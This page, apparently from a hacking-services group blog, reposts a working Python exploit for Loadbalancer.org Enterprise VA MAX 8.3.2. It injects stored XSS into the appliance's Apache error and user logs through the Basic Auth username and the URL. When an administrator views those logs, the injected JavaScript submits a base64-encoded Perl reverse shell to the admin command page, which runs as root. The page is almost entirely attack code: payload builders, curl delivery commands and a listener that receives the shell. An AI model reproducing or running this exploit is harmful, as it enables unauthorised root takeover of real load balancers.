Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86369794

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Loadbalancer.org Enterprise VA MAX 8.3.2 - Remote Code Execution
# Date: 2018-07-24
# Exploit Authors: Jakub Palaczynski
# Vendor Homepage: https://www.loadbalancer.org/
# Version: <= 8.3.2
# CVE: N/A

# Exploit Description: Loadbalancer.org Enterprise VA MAX - Remote Code Execution via Unauthenticated Stored XSS
# Info: It is advised to use HTTPS port instead of HTTP for sending payloads as storing JavaScript in "Apache Error Log" does not work for HTTP.
# Info: JavaScript can be easily changed to for example modify SSH configuration or add/modify web users

# Basic Information:
# Two instances of Stored XSS were found - exploit uses both:
# 1. It is possible to inject custom JavaScript code during authentication to "/lbadmin/".
# Application takes input from Basic Auth (username) and stores it without encoding/sanitization/filtering in "Apache Error Log".
# This instance only forks for HTTPS.
# 2. It is possible to inject custom JavaScript code by accessing URL like /?<XSS>.
# Such JavaScript is stored in "Apache User Log".

# This way attacker can store JavaScript code that can for example execute system command as root. This is actually what this exploit does - spawns reverse shell.
# When application user browses "Apache Error Log" or "Apache User Log" custom JavaScript code gets automatically executed.


#!/usr/bin/python

import socket
import sys
import os
import threading
import subprocess
import time
import base64

# print help or assign arguments
if len(sys.argv) != 3:
    sys.stderr.write("[-]Usage: python %s <our_ip:port> <proto://remote_ip:port>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 192.168.1.1:80 https://192.168.1.2:9443\n" % sys.argv[0])
    sys.exit(1)

lhost = sys.argv[1] # our ip address and port
rhost = sys.argv[2] # ip address and port of vulnerable Loadbalancer
raw = """perl -e 'use Socket;$i=\"""" + lhost.split(":")[0] + """\";$p=""" + lhost.split(":")[1] + """;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" # raw reverse shell in perl
payload_url = 'document.getElementById("lb").contentDocument.forms[0].elements["command"].value = "echo ' + base64.b64encode(raw.encode("ascii")) + ' | base64 -d | bash";document.getElementById("lb").contentDocument.forms[0].submit();' # base64 encoded reverse shell in perl
payload_auth = "<iframe id='lb'/src='/lbadmin/config/command.php'/style='width&colon;0;height&colon;0;border&colon;0;border&colon;none;'/onload=eval(atob('" + base64.b64encode(payload_url.encode("ascii")) + "'))></iframe>:pwd" # base64 encoded reverse shell in perl

# for additional thread to send request in parallel
class requests (threading.Thread):
    def run(self):
        time.sleep(5)
	# send requests to trigger vulnerability
	os.system('curl -s -k -m 10 -X "GET" -H "Authorization: Basic ' + base64.b64encode(payload_auth.encode("ascii")) + '" "' + rhost + '/lbadmin/" > /dev/null') # store payload in Apache Error logs
	os.system('curl -s -k -m 10 -X "GET" "' + rhost + '/?<iframe/id=\'lb\'/src=\'/lbadmin/config/command.php\'/onload=\'eval(atob(\`' + base64.b64encode(payload_url.encode("ascii")) + '\`))\'/style=\'width:0;height:0;border:0;border:none;\'></iframe>" > /dev/null') # store payload in Apache User logs

# for additional thread to receive data from socket
class receiving (threading.Thread):
    def __init__(self, conn):
        threading.Thread.__init__(self)
        self.conn = conn
	self._is_running = True
    def stop(self):
	self._is_running = False
    def run(self):
        while (self._is_running):
            cmd = conn.recv(1024)
            sys.stdout.write(cmd)
            sys.stdout.flush()
	    if cmd == '':
		break
	threadr.stop()

# function that creates socket
def create_socket(port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', port))
    sock.listen(10)
    conn, addr = sock.accept()
    return sock, conn, addr

# start thread that sends request
print 'Sending requests that triggers vulnerability.'
thread = requests()
thread.start()

# create socket to receive shell
print 'Now you need to wait for shell.'
sock, conn, addr = create_socket(int(lhost.split(":")[1]))
threadr = receiving(conn)
threadr.start()
while True:
    cmd = raw_input("")
    if cmd == 'exit':
	conn.send(cmd + "\n")
        break
    else:
        conn.send(cmd + "\n")
sock.close()